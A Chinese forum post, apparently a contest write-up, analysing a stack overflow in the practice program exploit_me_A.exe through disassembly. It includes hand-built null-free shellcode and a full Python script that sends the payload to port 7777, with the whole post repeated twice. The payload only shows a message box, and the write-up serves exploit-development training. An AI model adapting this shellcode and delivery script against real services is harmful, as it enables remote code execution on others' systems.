-
-
[原创][firefly][exploit_me_A.exe答案]
-
发表于: 2007-12-30 15:34 5373
-
【文章标题】: exploit_me_A.exe溢出分析报告
【文章作者】: firefly
【作者邮箱】: firefly.cn@gmail.com
【软件名称】: exploit_me_A.exe
【下载地址】: 自己搜索下载
【加壳方式】: 无
【操作平台】: xp sp2
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
提交者看雪ID:firefly
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)
学生
PE分析:
exploit_me_A.exe运行后将在7777端口监听,其关键代码如下所示:
.text:004011D5 push 4 ; backlog
.text:004011D7 push ebp ; s
.text:004011D8 call ds:listen
.text:004011DE lea edx, [esp+3BCh+name]
.text:004011E2 lea eax, [esp+3BCh+addr.sa_data+2]
.text:004011E6 push edx ; addrlen
.text:004011E7 push eax ; addr
.text:004011E8 push ebp ; s
.text:004011E9 mov dword ptr [esp+3C8h+name.sa_family], 10h
.text:004011F1 call ds:accept
.text:004011F7 mov ebx, eax
.text:004011F9 cmp ebx, 0FFFFFFFFh
.text:004011FC jz short loc_40127D
.text:004011FC
.text:004011FE push esi
.text:004011FF push edi
.text:004011FF
.text:00401200
.text:00401200 loc_401200: ; CODE XREF: _main+1AA j
.text:00401200 ; _main+1C9 j
.text:00401200 mov ecx, 80h
.text:00401205 xor eax, eax
.text:00401207 lea edi, [esp+34h]
.text:0040120B push eax ; flags
.text:0040120C rep stosd
.text:0040120E lea ecx, [esp+38h]
.text:00401212 push 200h ; len
.text:00401217 push ecx ; buf
.text:00401218 push ebx ; s
.text:00401219 call ds:recv
.text:0040121F mov esi, eax
.text:00401221 test esi, esi
.text:00401223 jge short loc_40124B
.text:00401223
.text:00401225 push offset s_ReadingStream ; "reading stream message erro!"
.text:0040122A mov ecx, offset dword_409A68
.text:0040122F call ostream::operator<<(char const *)
.text:0040122F
.text:00401234 push offset loc_4012D0
.text:00401239 push 0Ah
.text:0040123B mov ecx, eax
.text:0040123D call ostream::operator<<(uchar)
.text:0040123D
.text:00401242 mov ecx, eax
.text:00401244 call sub_4012B0
.text:00401244
.text:00401249 xor esi, esi
.text:00401249
.text:0040124B
.text:0040124B loc_40124B: ; CODE XREF: _main+173 j
.text:0040124B lea edx, [esp+34h]
.text:0040124F push edx
.text:00401250 call sub_401000
.text:00401250
.text:00401255 add esp, 4
.text:00401258 test esi, esi
.text:0040125A jnz short loc_401200
.text:0040125A
.text:0040125C push ebx ; s
.text:0040125D call ds:closesocket
.text:00401263 lea eax, [esp+3C4h+name]
.text:00401267 lea ecx, [esp+3C4h+addr.sa_data+2]
.text:0040126B push eax ; addrlen
.text:0040126C push ecx ; addr
.text:0040126D push ebp ; s
.text:0040126E call ds:accept
.text:00401274 mov ebx, eax
.text:00401276 cmp ebx, 0FFFFFFFFh
.text:00401279 jnz short loc_401200
.text:00401279
.text:0040127B pop edi
.text:0040127C pop esi
其中00401219处接收数据后会先判断接收数据的大小,然后将数据传递给函数sub_401000进行显示。溢出的关键在函数sub_401000中,其代码如下所示:
text:00401000 sub_401000 proc near ; CODE XREF: _main+1A0 p
.text:00401000
.text:00401000 var_C8 = byte ptr -0C8h
.text:00401000 arg_0 = dword ptr 4
.text:00401000
.text:00401000 sub esp, 0C8h
.text:00401006 or ecx, 0FFFFFFFFh
.text:00401009 xor eax, eax
.text:0040100B lea edx, [esp+0C8h+var_C8]
.text:0040100F push esi
.text:00401010 push edi
.text:00401011 mov edi, [esp+0D0h+arg_0]
.text:00401018 push offset asc_40904C ; "********************"
.text:0040101D repne scasb
.text:0040101F not ecx ;取代数据所接收数据的大小
.text:00401021 sub edi, ecx
.text:00401023 mov eax, ecx
.text:00401025 mov esi, edi
.text:00401027 mov edi, edx
.text:00401029 shr ecx, 2
.text:0040102C rep movsd;移动数据,数据如果过长会覆盖eip
.text:0040102E mov ecx, eax
.text:00401030 and ecx, 3
.text:00401033 rep movsb ;移动剩余的不足四个字节的数据
.text:00401035 mov ecx, offset dword_409A68
.text:0040103A call ostream::operator<<(char const *)
.text:0040103A
.text:0040103F push offset loc_4012D0
.text:00401044 push 0Ah
.text:00401046 mov ecx, eax
.text:00401048 call ostream::operator<<(uchar)
.text:00401048
.text:0040104D mov ecx, eax
.text:0040104F call sub_4012B0
.text:0040104F
.text:00401054 push offset s_Received ; "received:"
.text:00401059 mov ecx, offset dword_409A68
.text:0040105E call ostream::operator<<(char const *)
.text:0040105E
.text:00401063 push offset loc_4012D0
.text:00401068 push 0Ah
.text:0040106A mov ecx, eax
.text:0040106C call ostream::operator<<(uchar)
.text:0040106C
.text:00401071 mov ecx, eax
.text:00401073 call sub_4012B0
.text:00401073
.text:00401078 lea ecx, [esp+0D0h+var_C8]
.text:0040107C push ecx ; char *
.text:0040107D mov ecx, offset dword_409A68
.text:00401082 call ostream::operator<<(char const *)
.text:00401082
.text:00401087 push offset loc_4012D0
.text:0040108C push 0Ah
.text:0040108E mov ecx, eax
.text:00401090 call ostream::operator<<(uchar)
.text:00401090
.text:00401095 mov ecx, eax
.text:00401097 call sub_4012B0
.text:00401097
.text:0040109C pop edi
.text:0040109D pop esi
.text:0040109E add esp, 0C8h
.text:004010A4 retn
.text:004010A4
.text:004010A4 sub_401000 endp
其中0040101D处获取数据的大小,然后在0040102C处将其移动至堆栈中,如果构造一个较长的数据包,将会覆盖eip导致溢出。
漏洞描述: exploit_me_A.exe的0040101D函数中在复制所接收的数据时没有检查其大小,导致过长的数据会覆盖eip,导致溢出。
shellcode描述:
请注明shellcode来源:原创,修改,引用。
Shellcode为原创,由于0040101D处对数据长度的判断是以00为结尾,因此shellcode中不能包含00,这就对shellcode要求比较高。Failwest大侠给出的shellcode完全可以照搬用在这里,但是由于exploit_me_A.exe已经导入了LoadLibrary和GetProcAddress这两个关键的函数,所以这里就没有采用,直接使用exploit_me_A.exe,简化shellcode。实际上简化程度并不高,反而需要处理数据中所包含的00,其工作量要比直接copy多很多。
Shellcode的关键代码如下所示:
0012FAF0 60 pushad ;保护现场,准备悄无声息的行动
0012FAF1 B3 C8 mov bl, 0C8 ;为了避免00,只能这么做
;开辟堆栈,避免了直接减出现的00
0012FAF3 2BE3 sub esp, ebx
0012FAF5 B3 6C mov bl, 6C ;同样为了避免00,通过ebx
0012FAF7 B7 6C mov bh, 6C ;压入字母ll
0012FAF9 53 push ebx
0012FAFA 68 33322E64 push 642E3233
0012FAFF 68 75736572 push 72657375
;这里把"user32.dll"保存在堆栈中了
0012FB04 8BD4 mov edx, esp
0012FB06 52 push edx
;为了避免00,先给ebx赋个较大值
0012FB07 BB AA248040 mov ebx, 408024AA
;右移,使ebx为00408024,即LoadLibrary的函数地址,这样就避免了00
0012FB0C C1EB 08 shr ebx, 8
;获取user32.dll,结果保存在eax中
0012FB0F FF13 call dword ptr [ebx]
;下边获取MessageBoxA的地址,为了避免00,采取刚才同样的策略。
0012FB11 33DB xor ebx, ebx
0012FB13 B7 41 mov bh, 41 ;
0012FB15 B3 78 mov bl, 78
0012FB17 C1E3 08 shl ebx, 8
0012FB1A B3 6F mov bl, 6F
0012FB1C 53 push ebx
0012FB1D 68 61676542 push 42656761
0012FB22 68 4D657373 push 7373654D
;压入字符串"MessageBoxA"
0012FB27 8BD4 mov edx, esp
0012FB29 52 push edx
0012FB2A 50 push eax
;此处处理GetProcAddress地址
0012FB2B BB AAB48040 mov ebx, 4080B4AA
0012FB30 C1EB 08 shr ebx, 8
;获得MessageBoxA地址,保存于eax中
0012FB33 FF13 call dword ptr [ebx]
;处理字符串
0012FB35 BB AA666C79 mov ebx, 796C66AA
0012FB3A C1EB 08 shr ebx, 8
0012FB3D 53 push ebx
0012FB3E 68 66697265 push 65726966
;将firefly保存在堆栈中了
0012FB43 8BD4 mov edx, esp
0012FB45 33DB xor ebx, ebx
0012FB47 53 push ebx
0012FB48 52 push edx
0012FB49 52 push edx
0012FB4A 53 push ebx
;调用MessageBoxA,显示firefly
0012FB4B FFD0 call eax
;修改esp,恢复现场,偷偷摸摸的完成
0012FB4D C1E0 08 shl eax, 8
0012FB50 B0 08 mov al, 8
0012FB52 03E0 add esp, eax
;处理函数返回地址
0012FB54 BB AA551240 mov ebx, 401255AA
0012FB59 C1EB 08 shr ebx, 8
0012FB5C 53 push ebx
;返回,完成,溢出成功。
0012FB5D C3 retn
完整的shellcode如下,长度为0xD4(为了能够覆盖eip其中的部分为填充数据):
shellcode = "\x60\xB3\xC8\x2B\xE3\xB3\x6C\xB7\x6C\x53\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8B\xD4\x52\xBB\xAA\x24\x80\x40\xC1\xEB\x08\xFF\x13\x33\xDB\xB7\x41\xB3\x78\xC1\xE3\x08\xB3\x6F\x53\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x8B\xD4\x52\x50\xBB\xAA\xB4\x80\x40\xC1\xEB\x08\xFF\x13\xBB\xAA\x66\x6C\x79\xC1\xEB\x08\x53\x68\x66\x69\x72\x65\x8B\xD4\x33\xDB\x53\x52\x52\x53\xFF\xD0\xC1\xE0\x08\xB0\x08\x03\xE0\xBB\xAA\x55\x12\x40\xC1\xEB\x08\x53\xC3\x90\x75\x66\x69\x72\x65\x66\x6C\x79\x40\x70\x65\x64\x69\x79\x5F\x45\x78\x70\x6C\x6F\x69\x74\x5F\x6D\x65\x5F\x41\x2E\x65\x78\x65\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x40\x27\xDC\x77\xE9\x2F\xFF\xFF\xFF\x31\x31\x31"
最后的几个字节为
Jmp esp以及jmp到0012FAF0 60 pushad
其中jmp esp是在advapi32.dll中找的。
最后的几个31是为了填充,多余的。
使用的是python做溢出,整个脚本如下(使用python2.5):
# -*- coding:utf-8 -*-
# file: exploit.py
# by: firelfy 0(0
# mail: firelfy.cn@gmail.com ~
# date: 2007-12-29
# note:
import sys
import socket
print '''
==============================
shellcode for exploit_me_A.exe
by firelfy
Useage:
exploit.py xxx.xxx.xxx.xxx
==============================
'''
if len(sys.argv) == 1:
ip = raw_input("input the ip address:\n")
else:
ip = sys.argv[1];
shellcode = "\x60\xB3\xC8\x2B\xE3\xB3\x6C\xB7\x6C\x53\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8B\xD4\x52\xBB\xAA\x24\x80\x40\xC1\xEB\x08\xFF\x13\x33\xDB\xB7\x41\xB3\x78\xC1\xE3\x08\xB3\x6F\x53\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x8B\xD4\x52\x50\xBB\xAA\xB4\x80\x40\xC1\xEB\x08\xFF\x13\xBB\xAA\x66\x6C\x79\xC1\xEB\x08\x53\x68\x66\x69\x72\x65\x8B\xD4\x33\xDB\x53\x52\x52\x53\xFF\xD0\xC1\xE0\x08\xB0\x08\x03\xE0\xBB\xAA\x55\x12\x40\xC1\xEB\x08\x53\xC3\x90\x75\x66\x69\x72\x65\x66\x6C\x79\x40\x70\x65\x64\x69\x79\x5F\x45\x78\x70\x6C\x6F\x69\x74\x5F\x6D\x65\x5F\x41\x2E\x65\x78\x65\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x40\x27\xDC\x77\xE9\x2F\xFF\xFF\xFF\x31\x31\x31";
clinet = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clinet.connect((ip, 7777))
clinet.send(shellcode)
clinet.close()
exploit运行截图
稳定性与通用性论证
Shellcode中的字符串都是保存在堆栈中,不需要重定位地址,另外直接使用exploit_me_A.exe的函数,保证了一定的通用性,jmp esp的地址是从advapi32.dll中获取,其通用性有所折扣,仅能运行于xp sp2.由于在shellcode中保护了寄存器,也修正了堆栈,提高了shellcode的稳定性,溢出成功后exploit_me_A.exe不会退出。
创新性论证(可选)
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!
附件中包含分析文档,用于溢出的python脚本exploit.py(运行与python2.5)
2007年12月30日 15:24:24
【文章作者】: firefly
【作者邮箱】: firefly.cn@gmail.com
【软件名称】: exploit_me_A.exe
【下载地址】: 自己搜索下载
【加壳方式】: 无
【操作平台】: xp sp2
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
提交者看雪ID:firefly
职业:(学生、程序员、安全专家、黑客技术爱好者、其他?)
学生
PE分析:
exploit_me_A.exe运行后将在7777端口监听,其关键代码如下所示:
.text:004011D5 push 4 ; backlog
.text:004011D7 push ebp ; s
.text:004011D8 call ds:listen
.text:004011DE lea edx, [esp+3BCh+name]
.text:004011E2 lea eax, [esp+3BCh+addr.sa_data+2]
.text:004011E6 push edx ; addrlen
.text:004011E7 push eax ; addr
.text:004011E8 push ebp ; s
.text:004011E9 mov dword ptr [esp+3C8h+name.sa_family], 10h
.text:004011F1 call ds:accept
.text:004011F7 mov ebx, eax
.text:004011F9 cmp ebx, 0FFFFFFFFh
.text:004011FC jz short loc_40127D
.text:004011FC
.text:004011FE push esi
.text:004011FF push edi
.text:004011FF
.text:00401200
.text:00401200 loc_401200: ; CODE XREF: _main+1AA j
.text:00401200 ; _main+1C9 j
.text:00401200 mov ecx, 80h
.text:00401205 xor eax, eax
.text:00401207 lea edi, [esp+34h]
.text:0040120B push eax ; flags
.text:0040120C rep stosd
.text:0040120E lea ecx, [esp+38h]
.text:00401212 push 200h ; len
.text:00401217 push ecx ; buf
.text:00401218 push ebx ; s
.text:00401219 call ds:recv
.text:0040121F mov esi, eax
.text:00401221 test esi, esi
.text:00401223 jge short loc_40124B
.text:00401223
.text:00401225 push offset s_ReadingStream ; "reading stream message erro!"
.text:0040122A mov ecx, offset dword_409A68
.text:0040122F call ostream::operator<<(char const *)
.text:0040122F
.text:00401234 push offset loc_4012D0
.text:00401239 push 0Ah
.text:0040123B mov ecx, eax
.text:0040123D call ostream::operator<<(uchar)
.text:0040123D
.text:00401242 mov ecx, eax
.text:00401244 call sub_4012B0
.text:00401244
.text:00401249 xor esi, esi
.text:00401249
.text:0040124B
.text:0040124B loc_40124B: ; CODE XREF: _main+173 j
.text:0040124B lea edx, [esp+34h]
.text:0040124F push edx
.text:00401250 call sub_401000
.text:00401250
.text:00401255 add esp, 4
.text:00401258 test esi, esi
.text:0040125A jnz short loc_401200
.text:0040125A
.text:0040125C push ebx ; s
.text:0040125D call ds:closesocket
.text:00401263 lea eax, [esp+3C4h+name]
.text:00401267 lea ecx, [esp+3C4h+addr.sa_data+2]
.text:0040126B push eax ; addrlen
.text:0040126C push ecx ; addr
.text:0040126D push ebp ; s
.text:0040126E call ds:accept
.text:00401274 mov ebx, eax
.text:00401276 cmp ebx, 0FFFFFFFFh
.text:00401279 jnz short loc_401200
.text:00401279
.text:0040127B pop edi
.text:0040127C pop esi
其中00401219处接收数据后会先判断接收数据的大小,然后将数据传递给函数sub_401000进行显示。溢出的关键在函数sub_401000中,其代码如下所示:
text:00401000 sub_401000 proc near ; CODE XREF: _main+1A0 p
.text:00401000
.text:00401000 var_C8 = byte ptr -0C8h
.text:00401000 arg_0 = dword ptr 4
.text:00401000
.text:00401000 sub esp, 0C8h
.text:00401006 or ecx, 0FFFFFFFFh
.text:00401009 xor eax, eax
.text:0040100B lea edx, [esp+0C8h+var_C8]
.text:0040100F push esi
.text:00401010 push edi
.text:00401011 mov edi, [esp+0D0h+arg_0]
.text:00401018 push offset asc_40904C ; "********************"
.text:0040101D repne scasb
.text:0040101F not ecx ;取代数据所接收数据的大小
.text:00401021 sub edi, ecx
.text:00401023 mov eax, ecx
.text:00401025 mov esi, edi
.text:00401027 mov edi, edx
.text:00401029 shr ecx, 2
.text:0040102C rep movsd;移动数据,数据如果过长会覆盖eip
.text:0040102E mov ecx, eax
.text:00401030 and ecx, 3
.text:00401033 rep movsb ;移动剩余的不足四个字节的数据
.text:00401035 mov ecx, offset dword_409A68
.text:0040103A call ostream::operator<<(char const *)
.text:0040103A
.text:0040103F push offset loc_4012D0
.text:00401044 push 0Ah
.text:00401046 mov ecx, eax
.text:00401048 call ostream::operator<<(uchar)
.text:00401048
.text:0040104D mov ecx, eax
.text:0040104F call sub_4012B0
.text:0040104F
.text:00401054 push offset s_Received ; "received:"
.text:00401059 mov ecx, offset dword_409A68
.text:0040105E call ostream::operator<<(char const *)
.text:0040105E
.text:00401063 push offset loc_4012D0
.text:00401068 push 0Ah
.text:0040106A mov ecx, eax
.text:0040106C call ostream::operator<<(uchar)
.text:0040106C
.text:00401071 mov ecx, eax
.text:00401073 call sub_4012B0
.text:00401073
.text:00401078 lea ecx, [esp+0D0h+var_C8]
.text:0040107C push ecx ; char *
.text:0040107D mov ecx, offset dword_409A68
.text:00401082 call ostream::operator<<(char const *)
.text:00401082
.text:00401087 push offset loc_4012D0
.text:0040108C push 0Ah
.text:0040108E mov ecx, eax
.text:00401090 call ostream::operator<<(uchar)
.text:00401090
.text:00401095 mov ecx, eax
.text:00401097 call sub_4012B0
.text:00401097
.text:0040109C pop edi
.text:0040109D pop esi
.text:0040109E add esp, 0C8h
.text:004010A4 retn
.text:004010A4
.text:004010A4 sub_401000 endp
其中0040101D处获取数据的大小,然后在0040102C处将其移动至堆栈中,如果构造一个较长的数据包,将会覆盖eip导致溢出。
漏洞描述: exploit_me_A.exe的0040101D函数中在复制所接收的数据时没有检查其大小,导致过长的数据会覆盖eip,导致溢出。
shellcode描述:
请注明shellcode来源:原创,修改,引用。
Shellcode为原创,由于0040101D处对数据长度的判断是以00为结尾,因此shellcode中不能包含00,这就对shellcode要求比较高。Failwest大侠给出的shellcode完全可以照搬用在这里,但是由于exploit_me_A.exe已经导入了LoadLibrary和GetProcAddress这两个关键的函数,所以这里就没有采用,直接使用exploit_me_A.exe,简化shellcode。实际上简化程度并不高,反而需要处理数据中所包含的00,其工作量要比直接copy多很多。
Shellcode的关键代码如下所示:
0012FAF0 60 pushad ;保护现场,准备悄无声息的行动
0012FAF1 B3 C8 mov bl, 0C8 ;为了避免00,只能这么做
;开辟堆栈,避免了直接减出现的00
0012FAF3 2BE3 sub esp, ebx
0012FAF5 B3 6C mov bl, 6C ;同样为了避免00,通过ebx
0012FAF7 B7 6C mov bh, 6C ;压入字母ll
0012FAF9 53 push ebx
0012FAFA 68 33322E64 push 642E3233
0012FAFF 68 75736572 push 72657375
;这里把"user32.dll"保存在堆栈中了
0012FB04 8BD4 mov edx, esp
0012FB06 52 push edx
;为了避免00,先给ebx赋个较大值
0012FB07 BB AA248040 mov ebx, 408024AA
;右移,使ebx为00408024,即LoadLibrary的函数地址,这样就避免了00
0012FB0C C1EB 08 shr ebx, 8
;获取user32.dll,结果保存在eax中
0012FB0F FF13 call dword ptr [ebx]
;下边获取MessageBoxA的地址,为了避免00,采取刚才同样的策略。
0012FB11 33DB xor ebx, ebx
0012FB13 B7 41 mov bh, 41 ;
0012FB15 B3 78 mov bl, 78
0012FB17 C1E3 08 shl ebx, 8
0012FB1A B3 6F mov bl, 6F
0012FB1C 53 push ebx
0012FB1D 68 61676542 push 42656761
0012FB22 68 4D657373 push 7373654D
;压入字符串"MessageBoxA"
0012FB27 8BD4 mov edx, esp
0012FB29 52 push edx
0012FB2A 50 push eax
;此处处理GetProcAddress地址
0012FB2B BB AAB48040 mov ebx, 4080B4AA
0012FB30 C1EB 08 shr ebx, 8
;获得MessageBoxA地址,保存于eax中
0012FB33 FF13 call dword ptr [ebx]
;处理字符串
0012FB35 BB AA666C79 mov ebx, 796C66AA
0012FB3A C1EB 08 shr ebx, 8
0012FB3D 53 push ebx
0012FB3E 68 66697265 push 65726966
;将firefly保存在堆栈中了
0012FB43 8BD4 mov edx, esp
0012FB45 33DB xor ebx, ebx
0012FB47 53 push ebx
0012FB48 52 push edx
0012FB49 52 push edx
0012FB4A 53 push ebx
;调用MessageBoxA,显示firefly
0012FB4B FFD0 call eax
;修改esp,恢复现场,偷偷摸摸的完成
0012FB4D C1E0 08 shl eax, 8
0012FB50 B0 08 mov al, 8
0012FB52 03E0 add esp, eax
;处理函数返回地址
0012FB54 BB AA551240 mov ebx, 401255AA
0012FB59 C1EB 08 shr ebx, 8
0012FB5C 53 push ebx
;返回,完成,溢出成功。
0012FB5D C3 retn
完整的shellcode如下,长度为0xD4(为了能够覆盖eip其中的部分为填充数据):
shellcode = "\x60\xB3\xC8\x2B\xE3\xB3\x6C\xB7\x6C\x53\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8B\xD4\x52\xBB\xAA\x24\x80\x40\xC1\xEB\x08\xFF\x13\x33\xDB\xB7\x41\xB3\x78\xC1\xE3\x08\xB3\x6F\x53\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x8B\xD4\x52\x50\xBB\xAA\xB4\x80\x40\xC1\xEB\x08\xFF\x13\xBB\xAA\x66\x6C\x79\xC1\xEB\x08\x53\x68\x66\x69\x72\x65\x8B\xD4\x33\xDB\x53\x52\x52\x53\xFF\xD0\xC1\xE0\x08\xB0\x08\x03\xE0\xBB\xAA\x55\x12\x40\xC1\xEB\x08\x53\xC3\x90\x75\x66\x69\x72\x65\x66\x6C\x79\x40\x70\x65\x64\x69\x79\x5F\x45\x78\x70\x6C\x6F\x69\x74\x5F\x6D\x65\x5F\x41\x2E\x65\x78\x65\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x40\x27\xDC\x77\xE9\x2F\xFF\xFF\xFF\x31\x31\x31"
最后的几个字节为
Jmp esp以及jmp到0012FAF0 60 pushad
其中jmp esp是在advapi32.dll中找的。
最后的几个31是为了填充,多余的。
使用的是python做溢出,整个脚本如下(使用python2.5):
# -*- coding:utf-8 -*-
# file: exploit.py
# by: firelfy 0(0
# mail: firelfy.cn@gmail.com ~
# date: 2007-12-29
# note:
import sys
import socket
print '''
==============================
shellcode for exploit_me_A.exe
by firelfy
Useage:
exploit.py xxx.xxx.xxx.xxx
==============================
'''
if len(sys.argv) == 1:
ip = raw_input("input the ip address:\n")
else:
ip = sys.argv[1];
shellcode = "\x60\xB3\xC8\x2B\xE3\xB3\x6C\xB7\x6C\x53\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8B\xD4\x52\xBB\xAA\x24\x80\x40\xC1\xEB\x08\xFF\x13\x33\xDB\xB7\x41\xB3\x78\xC1\xE3\x08\xB3\x6F\x53\x68\x61\x67\x65\x42\x68\x4D\x65\x73\x73\x8B\xD4\x52\x50\xBB\xAA\xB4\x80\x40\xC1\xEB\x08\xFF\x13\xBB\xAA\x66\x6C\x79\xC1\xEB\x08\x53\x68\x66\x69\x72\x65\x8B\xD4\x33\xDB\x53\x52\x52\x53\xFF\xD0\xC1\xE0\x08\xB0\x08\x03\xE0\xBB\xAA\x55\x12\x40\xC1\xEB\x08\x53\xC3\x90\x75\x66\x69\x72\x65\x66\x6C\x79\x40\x70\x65\x64\x69\x79\x5F\x45\x78\x70\x6C\x6F\x69\x74\x5F\x6D\x65\x5F\x41\x2E\x65\x78\x65\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x40\x27\xDC\x77\xE9\x2F\xFF\xFF\xFF\x31\x31\x31";
clinet = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
clinet.connect((ip, 7777))
clinet.send(shellcode)
clinet.close()
exploit运行截图
稳定性与通用性论证
Shellcode中的字符串都是保存在堆栈中,不需要重定位地址,另外直接使用exploit_me_A.exe的函数,保证了一定的通用性,jmp esp的地址是从advapi32.dll中获取,其通用性有所折扣,仅能运行于xp sp2.由于在shellcode中保护了寄存器,也修正了堆栈,提高了shellcode的稳定性,溢出成功后exploit_me_A.exe不会退出。
创新性论证(可选)
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!
附件中包含分析文档,用于溢出的python脚本exploit.py(运行与python2.5)
2007年12月30日 15:24:24
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
看原图
赞赏
雪币:
留言: